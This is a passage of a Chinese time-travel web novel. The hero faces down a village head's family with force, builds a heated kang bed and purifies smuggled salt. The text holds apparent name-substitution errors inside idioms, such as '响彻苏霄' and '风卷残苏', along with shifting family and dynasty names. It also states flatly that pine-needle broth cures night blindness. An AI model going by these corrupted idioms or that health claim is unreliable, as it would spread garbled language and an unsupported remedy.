这赖志成家的婆娘可不是个好惹的主。 她是临溪村老村正的宝贝闺女,含着金汤匙出生,何时受过这等憋屈? 平时仗着娘家有钱有势,在青龙村也是横着走的主,连赖志成都得捧着她。 今天,竟然被一个她平日里连正眼都不瞧的小崽子给打了! 这口气她怎么咽得下去? 胖女人捂着火辣辣的脸,半天才回过神来,紧接着,就是一声能把房顶掀翻的尖叫: “啊!你个小畜生,敢打老娘?老娘跟你拼了!” 这声音,比杀猪还难听。 赖志成家的婆娘跟疯了似的,猛地转过身,张开两只肥猪蹄子,就朝苏阳扑了过来。 那架势,活像一头要把人拱上天的母猪。 苏阳心里“咯噔”一下。 他毫不怀疑,要是被这坨肥肉压在身上,不死也得去了半条命。 情急之下,苏阳也顾不上那么多了,直接抡起刀把,照着那婆娘的肚子狠狠来了一下。 “嗷——” 一声惨叫,响彻苏霄。 那婆娘被苏阳这一刀把,直接给怼得倒退了好几步。 “咚”的一声巨响,她那庞大的身躯重重地摔在了地上,震得地面都颤了三颤。 苏阳这一击要是放在游戏里,高低得打出一个眩晕加硬直。 只见那婆娘四仰八叉地躺在地上,哼哼唧唧半天,愣是没能爬起来。 一时间,周围静得吓人。 连根针掉在地上都能听得见。 赖志成的小姨子和带来的几个帮闲,一个个都像是被点了穴,僵在那里,动也不敢动。 谁也没想到,苏阳竟然真的敢动手。 而且一出手,就是这么狠! 苏阳把刀尖调转过来,指着那几个帮闲,冷冷地问道: “怎么,你们几个,谁还想来试试?” “……” 几个帮闲你看看我,我看看你,谁也不敢吱声。 平时跟在赖志成屁股后面,欺负欺负老实巴交的村民还行。 可真要让他们跟苏阳动真格的? 借他们俩胆儿也不敢啊! 毕竟,小命要紧。 这也看得出赖志成平时都干了些啥。 手底下连个能为他出头的都没有,甚至还有人,开始惦记上他小姨子的那点姿色了! “石头,叫醒那个赖志成!” 苏阳冷声吩咐。 他今天来,可不是为了打架的。 就算要动手,也得把事情的原委弄清楚。 他苏阳,可不背这黑锅! 石头得令,大步走到赖志成跟前,抬脚就往他屁股上踹。 “嗷!” 这一脚下去,直接把昏死过去的赖志成给踹醒了。 “问他,到底是谁打伤的他?” 苏阳的声音里听不出任何情绪。 可就在这时,一个身影“嗖”地一下蹿了出来,比石头还快。 明晃晃的枪尖,直抵赖志成的咽喉: “姓赖的,你给老子听好了!说,到底是谁把你打成这副德行的?咱家阳哥是不是山大王?你他娘的要是敢说半个‘不’字,老子现在就送你上西天!” 这突如其来的一幕,把所有人都给吓傻了。 冲出来的,正是苏阳新招来的手下,周阳! 石头也愣了。 他下意识地拍了拍周阳的肩膀,稍稍退后,把“主场”让给了他。 这是他对周阳的认可。 自从吃了苏阳家的粮,周阳一家才算有了活路。 他对苏阳的感激之情,那是没法用言语表达的。 在他眼里,苏阳就是救苦救难的活菩萨! 谁要是敢动苏阳一根汗毛,那就是跟他周阳拼命! 之前,赖守义颠倒黑白,赖志成的婆娘又对苏阳破口大骂,周阳早就憋了一肚子火。 要不是苏阳一直没发话,他早就冲上去跟这帮狗东西干起来了! 现在,苏阳终于动手了,让石头去拷问赖志成。 周阳知道,自己的机会来了! 他压根没去想什么后果,也没去想别人会不会说他拍马屁。 他只有一个念头:弄死这帮敢污蔑阳哥儿的王八蛋! 周阳这一冲,让原本那些心里还打着小算盘,担心被赖志成报复的小子们,一个个脸上火辣辣的,恨不得找个地缝钻进去。 同样是吃苏阳的饭,人家周阳咋就这么有血性? 大家伙儿都是年轻人,难不成自己还比不上一个周阳? 再说赖志成,刚一睁眼,就感觉喉咙上传来一阵刺骨的寒意。 他眼珠子往下一转,差点没吓得当场去世。 一支锋利的枪头,抵在他咽喉处。 只要他稍微动一下,或者持枪的人手一抖,他的小命可就交代了! “好汉饶命!我说,我说……我什么都说……” 赖志成说话都带着哭腔了。 “少他娘的废话!老子问你,是谁把你打成这样的?” 周阳的声音冷得像冰。 赖志成眼珠子转了转,心里开始琢磨开了。 他好歹也是一村之正,要是让人知道自己被土匪给揍了,这脸往哪儿搁? 得想个法子,把这事儿给圆过去…… 可周阳是真愣头青,完全不按常理出牌。 他见赖志成不说话,直接把枪往前一送,锋利的枪尖瞬间刺破了赖志成脖子上的皮肉。 “你他娘的给老子老实点!再敢耍花样,老子现在就结果了你!” 赖志成的小姨子扶着他婆娘刚站起来,就看到这惊险的一幕,吓得一句话也不敢说。 赖志成只感觉脖子上一阵刺痛,紧接着,一股热乎乎的液体就流了下来。 他彻底怂了,啥面子不面子的,先保住小命要紧! 他再也不敢耍任何花招,把在路上遇到土匪,被抢了牛车和银子的事儿,一五一十地说了出来,一个字都不敢隐瞒。 至于其他的,赖志成只字不提。 说完之后,赖志成像是虚脱了一样,瘫软在那里。 然后他两眼一闭,心想:认栽了,总比死了强。 “阳哥儿不是土匪!是那些该死的土匪,他们抢了我们的东西,还打伤了我们!阳哥儿他们是来救我们的!” 赖志成扯着嗓子喊道。 他这话一出,村民们的脸色顿时就变了。 这年头,世道不太平,兵荒马乱的,土匪强盗到处都是。 一个村子要是没有点自保的本事,迟早得遭殃。 有苏阳这么一帮人在,大家伙儿的安全,似乎也多了一层保障。 第八十九章 这么一想,村民们再看向苏阳他们手里的家伙时,眼神里已经没有了之前的恐惧,反而多了一丝安心。 “石头,把那赖小二给我叫起来,让他也说说!” 苏阳还不打算收手。 他今天非要把这事儿给掰扯清楚了不可!“都住手!” 苏阳一声断喝,如雷贯耳。 正围着赖守义拳打脚踢的几个小子,瞬间停了手,仿佛被点了穴,一个个站得笔直,胸脯挺得老高。 这几个小子,平日里可没少受韩家人的气。在他们眼里,赖志成就是青龙村的天,谁敢去惹? 可今天,这天,塌了! 先是村正赖志成,被土匪抢了个精光。平日里威风凛凛,可在长枪大弩面前,还不是跪得比谁都快? 再说他那婆娘,平时横行乡里,跟个母老虎似的。结果呢?在苏阳面前,连个屁都不敢放,被苏阳一巴掌扇懵,一刀柄戳倒,哼都没敢哼一声! 连带着赖志成的小姨子也在场,靠姐夫的官威横行霸道,在村里更是无法无天。整天住在姐夫家,那点破事谁不知道?可刚才呢?眼睁睁看着自己姐姐挨揍,她敢说个不字? 至于赖志成的几个狗腿子,平时狗仗人势,欺负村里人还少吗?现在怎么样?一个个夹着尾巴,乖得跟孙子似的。别说苏阳了,就连苏阳手底下这些小弟,他们都惹不起! 苏阳没空给他们讲什么“枪杆子里出政权”的大道理。可眼前这一幕,已经让不少脑子活络的小子开了窍。 啥叫力量? 这就是! 只要手里有家伙,腰杆子就硬,谁都不用怕! 这种打破枷锁的感觉,就一个字:爽! 几个小子心里跟烧开了锅似的,热血沸腾。谁还在乎赖志成日后的报复?现在,他们只想出一口恶气,对着平时作威作福的赖守义,拳脚相加,毫不留情! 赖守义被打得嗷嗷直叫,没多会儿就醒了。 可他刚一醒来,还没弄明白咋回事,就扯着嗓子开骂:“你们这帮……小兔崽子,吃了熊心豹子胆了?敢打老子?想造反不成?” “还敢犟嘴?” 周阳眼一瞪,可没像之前那样直接动手。 他斜了一眼赖守义,冷笑一声:“赖小二,你倒是长本事了啊?还敢跟我们吆五喝六的?你以为你还是以前那个赖二公子?睁大你的狗眼看看,现在是谁说了算!” 几个小子也反应过来。 对啊,打他干嘛? 打他,脏了自己的手! 就得让他害怕,让他求饶,那才叫解气! “哎呦……别……别打……” 赖守义被周阳一吓,顿时没了脾气,声音也小了八度。他这才发现,周围的气氛不对劲。 往日里,他爹赖志成在村里,那就是土皇帝。 谁敢不听他的? 可现在,他父亲倒在地面,动弹不得。他母亲与小姨靠在一旁,脸色煞白。几个狗腿子更是缩在角落里,大气都不敢出。 他这才意识到,自己这是惹了不该惹的人。 “我……我错了……阳哥……饶了我吧……” 赖守义终于服了软,声音颤抖,带着哭腔。 几个小子见状,心里别提多痛快了。 这感觉,比直接揍他一顿还爽! “行了,别装死了。” 苏阳看着赖守义那副怂样,心里一阵鄙夷。 他摆了摆手,示意几个小子停手。 “赖小二,我问你,你们这一身伤,哪来的?” 苏阳走到赖守义面前,冷冷地问道。 赖守义哪敢说实话? 他眼珠子一转,刚想说是自己摔的,可一对上苏阳那冰冷的眼神,到了嘴边的话又咽了回去。 “说实话!” 苏阳的声音不大,却带着一股不容置疑的威严。 “是……是……” 赖守义支支吾吾,半天说不出个所以然。 “再给你最后一次机会,想清楚了再说!” 苏阳的声音更冷了。 赖守义吓得一哆嗦,再也不敢耍花样。 他哭丧着脸,把路上遇到土匪的事,一五一十地说了出来。 当然,他可没敢提跟土匪合伙对付苏阳的事。 那种事,打死他也不敢说啊! 赖志成在一旁,听得心惊胆战。 他生怕这个没脑子的儿子,把什么都给抖搂出来。 还好,赖守义虽然混,但还没蠢到家。 据卓家父子讲述遭遇了山贼洗劫,村民们哪还有不信的? 之前,赖志成在他们心里,那就是天。可现在,这天,塌了一角。 原来,村正也会被土匪欺负! 卓氏父子虽然不承认想冤枉苏阳,只说是误会。可谁也不是傻子,就凭赖志成他老婆之前说的那些话,谁都能听出来,这家人心里憋着坏呢! 经此一事,赖志成在青龙村的威望,一落千丈。 不仅苏阳手下的小子们心里没了顾忌,就连不少围观的村民,心里也跟明镜似的。 当官的也没啥了不起! 挨了打,一样会求饶! 遇到土匪,一样会倒霉! 只要手里有家伙,胆子够大,谁都能反抗! …… “走!” 苏阳一看,目的已经达到,也没必要再待下去。 他招呼一声,带着一帮小子,大摇大摆地回了村。 村民们一看苏阳走了,哪还敢在这儿多待? 一个个脚底抹油,溜得比兔子还快。 空地上,只剩下赖志成一家人,还有几个狗腿子,面面相觑,不知所措。 “还愣着干啥?都死了?赶紧把你爹送回家养伤!” 赖志成一看人都走光了,又摆起了村正的架子。他把今天晚上受的窝囊气,全都撒在了几个狗腿子身上。 赖守义也跟着骂骂咧咧,好像不这样,就没法找回他那点可怜的威严。 赖志成的老婆也扯着嗓子嚎了几声。她刚才也丢了大人,又被苏阳打,又被苏阳吓,现在得在几个狗腿子身上找回场子。 说到赖志成那位小姨子…… 她没吭声,也没发火。只是愣愣地站在那里,脑子里一片空白。晋朝和大多数朝代一样,当官的都喜欢把老百姓当傻子。 为啥? 好管呗! 老百姓要是太精明,还能让他们这些当官的骑在头上作威作福? 可偏偏这一夜,青龙村的不少人,炕头都烙起了煎饼。 苏阳带着人,把赖志成父子给揍了! 这事稀奇不稀奇? 搁以前,谁敢想? 大伙这才明白,原来老百姓也不是面团子,想咋捏就咋捏。 就这一晚上,多少人心里头拿定了主意: 以后就让娃跟着苏阳干! 跟着他,往后谁还敢欺负到咱头上? 当然,也有睡不着的。 韩家那些人,有的是吓得,有的是气的。 赖志成他婆娘听见大儿子让土匪给掳走了,一屁股就坐在了地上,哭的那叫一个撕心裂肺: “你个挨千刀的死鬼! 第九十章 老娘跟你念叨八百回了,别逞能,别逞能!” “那几条鱼,你就让给苏二那小子卖了能咋地?非得带着你那俩宝贝儿子去,这下舒坦了?往后的日子咋过?” 她把这些天的怨气全撒了出来,好像把地皮子捶烂了,儿子就能回来似的。 赖志成这会儿,后槽牙都快咬碎了。 谁能想到会出这档子事? 早知道,他说啥也不能为了几个钱跟苏二过不去啊! 他心里头那个恨哪! 要是让苏二那小兔崽子碰上土匪,那多好! 他巴不得苏阳被土匪撕票才好…… 可惜,没如果。 赖志成恨不得抽自己俩大嘴巴子。 苏二! 对,就是苏二那小王八蛋! 不是他,自己能碰上土匪? 能被全村人当猴看? 他赖志成在村里耀武扬威这么些年,脸都丢尽了! 以后这村正还咋当? 谁还听他的? 那些个泥腿子,还不都翻了天? 赖志成越想越气,越琢磨越不是个味儿。 不成,这事儿没完! 苏二不死,他睡不着觉! 至于苏阳开荒卧龙沟能带来的那些好处…… 眼下还顾得上那些?先把眼前的坎儿迈过去再说! …… 第二天一大早,苏阳手下的小子们就都到了。 平时一个个蔫头耷脑,今儿个倒好,比谁来的都早。 苏阳到场一看,当时就愣了。 这帮小子,咋都跟打了鸡血似的? 一个个眼珠子瞪得溜圆,就跟饿狼见了肉似的。 等到练起来,苏阳更是合不拢嘴。 这帮小子,就跟脱胎换骨了一样,一个个铆足了劲儿。 谁也不用催,谁也不用赶,都争着往前冲。 苏阳心里头那个美啊! 这才是他想要的兵! 他哪儿知道,这帮小子,心里头的石头算是落了地。 其实,苏阳自个儿不也一样? 自从来到这鬼地方,他啥时候放松过? 整天就跟惊弓之鸟似的,生怕走错一步,就万劫不复。 可昨儿晚上的事儿,让他心里头亮堂了: 这晋朝的官府,也不是铁板一块! 他苏阳也不是好惹的! 自己揍了韩家父子,还动了他婆娘。 咋了? 一晚上过去了,谁来找麻烦了? 大半天过去了,也没见赖志成那老小子去报官。 他敢吗? 他不敢。 怕苏阳报复是一个原因。 更重要的,他比谁都清楚,衙门那就是个吃人不吐骨头的地方! 别说他是个小小的村正,就是个乡绅,到了衙门,也得脱层皮! 那些当官的,一个个都是吸血的蚂蟥,不把你榨干了,他们能放过你? 想到这里,赖志成更是坚定了要弄死苏二的决心。 苏阳可不知道赖志成在想什么,他这会儿高兴着呢。 大手一挥,让王婶和林绮娘中午多准备些肉! 苏阳一声令下,一帮小子嗷嗷叫着就冲向了饭桌。 狼吞虎咽,风卷残苏! 原本还有几个小子,心里头有些犯嘀咕。 这下好了,一顿饱饭下肚,啥顾虑都没了。 毕竟,赖志成在村里横行霸道这么些年,也不是谁都有胆子跟他对着干的。 饱饭是吃上了,可苏阳又整出了新花样。 他让每人喝了一大碗苦水。 几个小子刚把饭咽下去,差点没吐出来,一个个呲牙咧嘴,比哭还难看。 “我说阳哥儿,这是啥啊?咋这么难喝?” 石头捏着鼻子,跟谁欠他二两银子似的。 “你们上午不是采了不少那玩意儿吗?这就是用那玩意儿熬的,赶紧喝,喝了眼睛好使。” 苏阳指了指墙角的一个破瓦罐,里头还剩了点黑乎乎的汤水。 “啥?松树叶子熬的水?” 麻生一脸的震惊,仿佛听到了什么天方夜谭。 昨天晚上,苏阳就瞧出来了,手底下这帮小子,一到晚上就成了睁眼瞎。 这可不行! 得治! 这不,上午练完了,苏阳就让几个小子去弄了些松针,熬了一大锅。 松针这玩意儿,是个宝。 里头的好东西多着呢,熬水喝了,专治夜盲症。 不光是这帮小子,苏阳自个儿也得喝。 还有林绮娘,王婶,小荷,谁也跑不了。 小荷年纪小,端着个破碗,小脸儿都皱成了一团。 可她机灵着呢,知道谁说话好使。 苏阳一瞅她,小丫头立马换了副表情,装模作样地喝了一大口,还砸吧砸吧嘴,好像喝的是啥琼浆玉液。 苏阳一看就乐了,这小丫头片子! 他走过去,摸了摸小荷的头: “咱小荷真厉害,一点儿都不怕苦!等下次二哥进城,给你买糖吃!” 一听有糖吃,小荷更高兴了,端起碗,咕咚咕咚几口就见了底。 至于糖是啥,她哪儿知道? 不过,肯定是好东西! “二哥,糖好吃吗?” 小丫头到底没忍住,仰着小脑袋,眼巴巴地瞅着苏阳。 苏阳这才想起来,这年头,糖可是稀罕物。 别说小荷了,就是村里的大人,也没几个吃过的。 “等二哥下次从城里回来,你就知道了。” 苏阳笑着说,语气里透着一股子宠溺。 “二哥说话算话!” 小荷使劲儿点着头,眼睛亮晶晶的,充满了期待。 一旁的王婶看着这情景,眼泪就下来了。 她可怜的闺女,从小就没过过好日子,别说糖了,连饭都吃不饱! 她心里头感激苏阳,要不是苏阳,他们一家子,说不定早就饿死了。 想到前些日子,小女儿饿得哇哇大哭,王婶的心就跟针扎似的疼。 她再也忍不住了,眼泪吧嗒吧嗒往下掉。 苏阳有些摸不着头脑,这是咋了? 难不成自己不该摸小荷的头? 就在这时,外头传来了一阵急促的脚步声。 石头慌慌张张地跑了进来: “阳哥儿,不好了,赖志成那几个狗腿子,正满村子嚷嚷呢,说……说……” “说什么?有屁快放!” 苏阳眉头一皱。 “说你过两天要进城,让他们赶紧预备好鱼,要不然……要不然就自己来!” 石头一口气把话说完,紧张地看着苏阳。 “啥?二哥,你还要去城里?听说山上有山贼啊?这要是碰上了可咋办?” 林绮娘一听,脸色“唰”地一下就白了。赖志成四仰八叉地躺在床上,一声接一声地哼唧。镇上的大夫刚给他敷了药,纱布下面火辣辣地疼,他龇牙咧嘴,心里更疼。 “苏二这个小王八蛋,早不收晚不收,偏偏老子动弹不得的时候收鱼,这是存心跟老子过不去!” 赖志成越想越窝火,恨不得跳起来把苏阳那小子撕了。可他刚一动弹,就牵扯到伤处,“嗷”的一声怪叫,像死了亲爹一样。 当初买捕鱼法子的时候,赖志成和苏阳可是说得清清楚楚。他有独家经营权,可人家苏阳也有权自己捕鱼。 第九十一章 现在这算怎么回事?他赖志成动不了,苏阳要是自己动手,他还真就一点办法都没有。 “憋屈,真他娘的憋屈!” 赖志成狠狠一拳砸在床板上,震得床都“咯吱”响。心里那股邪火,烧得他五脏六腑都疼。 说到底,还是怪苏阳那小子现在出息了,他赖志成有点儿压不住了! 打这以后,他是听不得“苏二”俩字,一听就浑身刺挠,比伤口还难受! …… 苏阳可没想跟赖志成和解,他只是不想跟钱过不去。 进城一趟不容易,光卖点豆芽菜,那点儿钱还不够塞牙缝的。弄几百斤鱼,换回来的可就是白花花的银子! 要说避开赖志成,叫小弟们去下网? 苏阳想都没想过。 他把这帮泼皮无赖聚到一块,图个啥?还不是为了拉起一支队伍来,以后好干点儿大事! 眼下不抓紧练兵,提高战斗力,反倒去为了几个小钱捕鱼? 那不是舍本逐末,脑子进水了嘛! …… “吱呀……吱呀……” 灶台和暖榻总算是干透了。 苏阳打算当众表演个绝活,让手下这帮小子好好开开眼,以后死心塌地跟着他干。 前面一直都是小火慢熏,这回要动真格的,大火猛烧! 没用多长时间,熊熊燃烧的灶火就把灶台和暖榻烤得热乎乎的了。 “都过来,坐上来感受感受,看看这暖榻到底咋样!” 新盘的暖榻,还没铺炕席。苏阳一屁股坐了上去,也不怕烫。 “嗯……真得劲儿!” 一股热流从屁股下面往上涌,苏阳舒坦得直哼哼,脸上的皱纹都快笑没了。 有了这暖榻,往后的冬天就好过喽! 之前,每回躺在那硬邦邦、冷冰冰的破床上,苏阳就忍不住怀念前世学校宿舍里的暖气。 那时候他还羡慕那些住大别墅的同学,觉得那才是人过的日子。现在跟这四处漏风的破屋子一比,学校宿舍那就是天堂! 苏阳好歹也算见过世面的人,还没那么大的感触。 可他手底下那帮小子,都是穷苦出身,啥时候享受过这个?一个接一个地坐上热炕头,都跟傻了似的,眼睛都直了! “这……这是给人睡的?”一个愣头小子声音都变了。 “我的亲娘嘞,这也忒舒坦了吧!”另一个小子猛拍大腿,跟哥伦布发现了新大陆似的。 “以前那几十年算是白活了!这要是大冬天睡这上头,跟那些财主老爷们也没啥区别了吧?” 不仅是这帮小子,连林绮娘和王婶试过之后,也激动得说不出话来。 “这……这……这日子,怕是神仙也比不上吧?”王婶说话都带着颤音,眼神都有些恍惚了。 小荷更是在炕上乐得打滚,像只刚捉到老鼠的小猫。 “阳哥儿,我……我能不能……”孔远山凑到跟前,吞吞吐吐。 “有话就说,有屁就放!别跟个娘们儿似的扭扭捏捏!”苏阳瞪了他一眼。 孔远山嘿嘿一笑,挠了挠头,有些难为情: “能不能……让我爹也来瞧瞧?让他开开眼界?” 好东西就得跟亲人分享,天经地义。 其他小子也都眼巴巴地看着苏阳,想让家里人也过来开开眼,见识见识。 苏阳还能说啥?大手一挥,活像个暴发户: “去!都去!想让谁来就让谁来!让大伙儿都开开眼!” “好嘞!” 苏阳话音未落,一群小子就跟脱缰的野马似的,撒丫子跑了出去。 …… “啥?苏二家有新鲜玩意儿?走,看看去!” 一听这话,这帮小子的家里人,比谁都积极,一个个脚下生风,比兔子跑得都快。 那时候,也没啥娱乐活动,大冬天的地里也没活,村里人除了饿肚子,就是闲得发慌。 听说苏阳家有热闹看,谁还能坐得住? 没多一会儿,苏阳家那本来就不大的院子,就被挤了个水泄不通,乌泱泱的全是人头,比庙会还热闹。 这边摸摸炕,那边坐坐炕,一个个都跟没见过世面的土包子似的,眼睛都不够用了。 “怪了,这泥巴垒的玩意儿,咋就这么暖和?” “苏二这小子,也不知道是咋想出来的,真神了!” 自从来到晋朝,苏阳算是彻底明白了老百姓过的是啥样的日子。 他上辈子家里再穷,起码吃喝不愁,哪像晋朝的百姓,日子过得这么苦。 那些文人雅士,一到冬天就来劲了,吟诗作赋,风花雪月。 可对晋朝的穷苦百姓来说,冬天就是一道鬼门关! 忍饥挨饿,手脚生疮,一不小心就冻死饿死……那是熬不完的罪,看不到头的苦! 凡是亲自试过暖榻的,没一个不眼红的,口水都快流下来了。 “苏二这暖榻一弄出来,以后怕是没人愿意被冻死了。”一个上了年纪的老汉,抽着旱烟,吧嗒吧嗒嘴。 青龙村紧挨着山,柴火倒是不缺,家家都有一大堆。 不过村里人更习惯烧炭,因为柴火不经烧,暖榻刚烧热就灭了,半夜还得再添一次。 可炭火也有个大毛病,那就是有炭毒。每年冬天,村里都有人因为烤炭火中毒,一睡不起,丢了性命,说白了就是煤气中毒。 “这暖榻可真好,没烟没火的,也不怕中毒。”不知是谁喊了一嗓子。 这话算是说到了大伙儿的心坎里。 苏阳弄出来的这暖榻,不用担心炭气熏人。 苏阳手下这帮小子还年轻,体会不到那么多,只知道傻乐呵。 可他们那些爹娘,一个个可都是过来人,心里跟明镜似的,眼神那叫一个复杂。 看着家人们脸上放光,孔远山得意得不行,腰杆都快挺到天上去了。 “爹,娘,我跟你们说,这盘炕的手艺,我也会!等过两天,咱家也盘一个,让你们也好好享享福……” 话还没说完,孔远山就感觉眼前一黑。 “啪!” 一个大耳刮子,结结实实地抽在了他的脸上,打得他眼冒金星,原地转了三圈。 孔远山直接被打懵了,脑瓜子嗡嗡的。 啥情况? 自己说错啥了?老爹咋还动上手了? 没等他回过神,孔老爹又是一巴掌呼了过来,这回更狠,直接把孔远山嘴角都打出血了。 “你个小王八羔子,长本事了啊!我打死你个吃里扒外的东西!” 孔老爹气得脸都绿了,一边骂一边还想接着揍。 好在周围的乡亲们眼疾手快,赶紧把他给拦住了。 “老孙,老孙,你这是干啥?有话好好说,别动手啊!” “就是,孩子还小,不懂事,你跟他置啥气?” “……” 大伙儿你一言我一语,七嘴八舌地劝着。 别说孔远山,就连苏阳都看傻眼了。 第九十二章 这都哪儿跟哪儿啊? 孔老爹这是抽的哪门子疯? 就在苏阳百思不得其解的时候,孔老爹解开了谜底。 他指着孔远山的鼻子,一顿臭骂: “小兔崽子,还不赶紧跪下!给阳哥儿磕头赔罪!你是想把老子气死吗……” 听老孙唠叨半天,苏阳才算弄明白是咋回事。 原来,在老孙看来,这盘炕的手艺,那是苏阳的不传之秘。 “小兔崽子,我让你跟着阳哥混,是让你涨能耐的,不是让你忘恩负义的!阳哥儿心善,教你盘炕,那是天大的恩情,你可不能忘恩负义!我告诉你,这手艺是阳哥儿的,没他点头,你就是烂在肚子里,也不能往外传,听到没有!以后就是你有了儿子,没阳哥儿同意,你也别指点他,明白不?这是做人的根本!” 苏阳听完,哭笑不得。孔远山这事,说轻了是不懂事,说重了,那就是背叛! 古代和后世不一样,那会儿的人最看重“忠义”二字,尤其是手艺的传承。 甭管多穷的人家,都明白“教会徒弟饿死师傅”这话啥意思。 孔远山的老爹,孔叔,能不急眼吗? 这事儿要搁古代,孔远山背上个“白眼狼”的名声,以后在村里可咋做人! 孔叔越想越觉得后脊梁骨发冷,汗珠子顺着额头往下淌。 突然,他双腿一弯,“扑通”一声给苏阳跪下了,这冷不丁的举动,把周围的人吓了一跳。 苏阳更是直接从椅子上弹了起来,这可真是折寿啊! “孔叔,你这是弄啥嘞!快起来,快起来!”苏阳声音都变了调,伸手就去搀扶。 “阳哥儿,都怪我,没管教好这小王八羔子!”孔叔老泪纵横,指着孔远山的鼻子就骂,“你个小畜生,还不给你阳哥儿认错!想让老子白发人送黑发人吗?” 他一边骂,一边捶胸顿足,那叫一个痛心疾首。 孔叔是真怕了,他怕苏阳一个不高兴,真把孔远山给赶走,那他儿子这辈子可就毁了! 苏阳也知道这事儿的严重性,古代人最看重名声,孔远山这事儿要是传出去,以后还怎么在村里立足? 他连忙说道:“孔叔,你先起来,这事儿我有分寸。远山还年轻,不懂事,这次就算了,下不为例!” 苏阳这话,既是说给孔叔听的,也是说给在场的所有人听的。 孔远山这时候也回过神来了,他“扑通”一声跪在苏阳面前,头都不敢抬。 他心里清楚,自己这次是闯了大祸了。 古代可不比后世,讲究个“一言九鼎”,唾沫阳子掉地上都是个坑。 要是苏阳真觉得他泄露了啥秘密,别说赶他走了,就是把他给…… 孔远山不敢往下想了,后背的衣服都湿透了。 “起来吧。”苏阳淡淡地说道。 “阳哥儿……” “我说起来!”苏阳提高了声音,带着一股不容置疑的威严。 孔远山浑身一哆嗦,乖乖地站了起来。 他低着头,像个做错事的孩子,大气都不敢出。 苏阳这一嗓子,不仅震住了孔远山,也让其他小子心里头一凛。 他们互相交换着眼神,心里头都跟明镜似的: 以后可不能学孔远山,从苏阳这儿学到的东西,一个字都不能往外说! 谁要是敢走漏半点风声,那就等着卷铺盖滚蛋吧! 其实,苏阳压根儿就没把盘暖榻这事儿当回事。 这玩意儿,也就穷人稀罕,那些有钱有势的,谁会用这土东西? 再说了,就算给老百姓盘炕,又能收几个钱? 还不够费事的呢! 苏阳原本就没打算靠这个赚钱,不过,既然大伙儿都这么在乎,他也乐得做个顺水人情。 “行了,都别愣着了,该干嘛干嘛去!” 苏阳摆了摆手,打破了沉闷的气氛。 “这样,我给大伙儿每家盘一个炕,就当是提前过年了!” “不过,仅此一次,下不为例!而且,就咱这几户人家,外人可别想占便宜!” 苏阳这话一出,人群顿时就炸开了锅。 “啥?阳哥儿,你说真的?每家都给盘一个炕?” “没听错吧?阳哥儿,你真是太好了!” “这……这咋好意思呢……” 大伙儿七嘴八舌,说什么的都有,有高兴的,有感激的,也有不好意思的。 苏阳笑着说道:“都是自家兄弟,有啥不好意思的?就当是我给大家发的福利了!” 他顿了顿,又补充了一句:“不过,这事儿可不能往外传,谁要是敢泄露出去,以后就别想再跟着我了!” 苏阳这话,既是安抚人心,也是敲打众人。 几个年纪大的村民,激动得热泪盈眶。 “阳哥儿,你就是咱们青龙村的大恩人啊!” “是啊,阳哥儿,你真是活菩萨下凡!” “……” 吐露的每句都是肺腑之言。 青龙村太穷了,穷得叮当响。 别说棉衣了,就是一件像样的袄子都没有。 冬天咋过? 就靠一口气硬挺着! 条件好点儿的,能弄件芦花袄。 可那玩意儿,说是袄子,其实就是两层布中间夹了点芦苇花,根本不顶事。 更多的人,连芦花袄都没有,只能在床上铺一层厚厚的稻草,一家人挤在一起,靠体温取暖。 苏阳刚穿越过来那会儿,盖的也是草苫子。 那滋味,真是谁冷谁知道。 心知肚明木炭会要命,可为了活命,也只能硬着头皮烧。 不烧炭,就得活活冻死。 烧了炭,还能赌一把。 现在好了,有了暖榻,既能取暖,又不用担心炭毒,这可是天大的好事啊! “行了,都别在这儿杵着了,赶紧回去准备砖坯吧!” “对对对,赶紧回去干活!” “我家还有几块现成的砖,先拿来用着!” “……” 人群呼啦一下散开了,各自忙活去了。 只剩下孔远山,还愣愣地站在原地。 几个小子你看看我,我看看你,谁也没说话。 突然,不知道谁“扑哧”一声笑了出来。 紧接着,就是一阵哄堂大笑。 孔远山的脸,被他老爹揍得跟猴屁股似的,红彤彤一片,别提多滑稽了。 孔远山又羞又窘,恨不得找个地缝钻进去。 他一跺脚,转身就跑进了厨房,闷头烧火去了。 …… 发豆芽,盘暖榻,都离不开火。 苏阳正好趁着这个机会,把那两麻袋私盐给处理一下。 这两麻袋盐,还是之前他和石头杀了青虎岭土匪探子弄来的。 也不知道是哪个倒霉的盐贩子,把命都搭进去了,最后便宜了苏阳。 苏阳打开麻袋一看,里面的盐都是土黄色的,还夹杂着不少泥沙。 这盐的品质也太差了,别说吃了,看着都让人倒胃口。 第九十三章 他想起来,上辈子学的那些化学知识,说不定能用上。 要是能把这粗盐提纯一下,变成雪白的精盐…… 苏阳眼睛一亮,这可是一条财路啊! 他在县城里见过那些所谓的“精盐”, 比这粗盐强点有限,竟然敢卖一两银子一斤! 这要是让自己捣鼓出真正的精盐来,那还不得发了? 不过,大元朝盐铁专卖,这精盐能不能卖,怎么卖,都是个问题。 苏阳摇了摇头,先把这些杂七杂八的念头抛到脑后。 眼下最要紧的,还是先把这精盐给弄出来再说!苏阳提纯精盐的手法,说穿了,不值一提。 无非就是先把混着泥沙的粗盐溶到水里,做成齁咸的盐水。 再拿麻布、木炭这么一滤,泥沙之类的玩意儿就都没了。 最后,把滤过的盐水倒进大铁锅里头熬。 咕嘟咕嘟…… 热气蒸腾。 等水熬干了,剩下的就是盐的结晶。 就这么简单,没啥高科技。 当然,苏阳也清楚,就这条件,提出来的盐跟后世那些精盐肯定是没法比的。 毕竟,这法子去不掉那些溶在水里的杂质。 可苏阳是谁? 上辈子化学课也不是白上的,多少还是懂一些原理的。 他琢磨着,只要把那些看得见的泥沙杂质给弄干净,吃不死人就行。 至于味道嘛,总比那些黄了吧唧的粗盐强百倍! 再者说了,谁规定这提纯的活儿一定得他苏阳亲自动手? 他动动嘴皮子,指挥着手底下那帮小子们干,不就行了? 难不成还真指望他天天守着锅台熬盐? 开玩笑! 有这功夫,他还不如琢磨琢磨怎么把这些盐给卖出去呢! 保密? 这事儿压根儿就没法保密! 整个过程,大伙儿可都看得真真的。 与其费尽心思遮遮掩掩,倒不如大大方方地展示出来。 “二哥,这……这是啥?” 陈木生瞪大了眼睛,死死盯着苏阳手里那白花花的东西,舌头都有些打结。 “盐啊,还能是啥。” 苏阳撇了撇嘴,一脸的理所当然。 眼瞅着灰不拉几的粗盐,在自己手里头变成了雪花一样的精盐,可不止陈木生,一帮小子有一个算一个,全都傻眼了。 可是在苏阳看来,这些盐跟后世的精盐比? 那还差得远呢! “这……这盐……” 陈木生还想说些什么,却被苏阳不耐烦地打断了: “行了行了,别这盐那盐的了,不就是提纯了一下吗?有什么大惊小怪的!” 